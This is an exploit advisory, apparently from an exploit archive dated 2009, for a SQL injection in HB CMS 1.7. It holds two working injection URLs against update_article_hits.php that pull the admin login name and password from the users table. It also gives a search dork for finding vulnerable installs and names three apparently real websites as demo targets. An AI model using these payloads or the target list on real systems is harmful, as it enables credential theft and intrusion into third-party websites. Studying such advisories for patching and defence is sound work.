HB CMS 1.7 - SQL Injection

Author: Securitylab Security Research
type: webapps
platform: php
port: 
date_added: 2009-09-21 
date_updated:  
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

########################## Securitylab.ir ########################
# Application Info:
# Name: HB cms
# Version: 1.7
# Website: http://www.hbcms.com
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Sql Injection
# Risk: Medium
# Dork: inurl:/hbcms/php/
# magic_quotes_gpc = On  /\  register_globals = Off
#===========================================================
# User:
# http://site.com/[path]/php/update_article_hits.php?show_hits=yes&article_id=-1%e5" union select login_name from hbcms_users where id=1%23
#
# Pass:
# http://site.com/[path]/php/update_article_hits.php?show_hits=yes&article_id=-1%e5" union select login_pass from hbcms_users where id=1%23
#
# Demo:
# http://www.aolinivt.com/hbcms
# http://www1.bonetumor.cc/hbcms
# http://beauty-f.com/ps/hbcms
#===========================================================
#################################################################
# Securitylab Security Research Team
###################################################################